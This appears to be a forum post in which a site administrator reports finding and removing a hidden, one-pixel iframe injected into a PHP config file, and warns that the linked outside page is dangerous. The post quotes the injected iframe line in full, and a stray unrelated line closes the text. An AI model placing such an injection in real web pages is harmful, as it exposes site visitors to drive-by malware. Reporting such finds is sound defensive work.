Well, in poking around a bit, I found this at the top of our includes/config.inc.php file:
<iframe src=http://www.ghananation.com/Alumni/photos/albums/ads.html width=116 height=1 frameborder=0></iframe>
Removing that fixed the problem.
Sheesh. I've gotta work on locking this down a LOT more. For now at least, I 744'd that file (which is owned by root.)
NOTE: You probably do NOT want to open that page if you're running a Microsoft operating system. Consider yourself warned.
This program must be run under Win32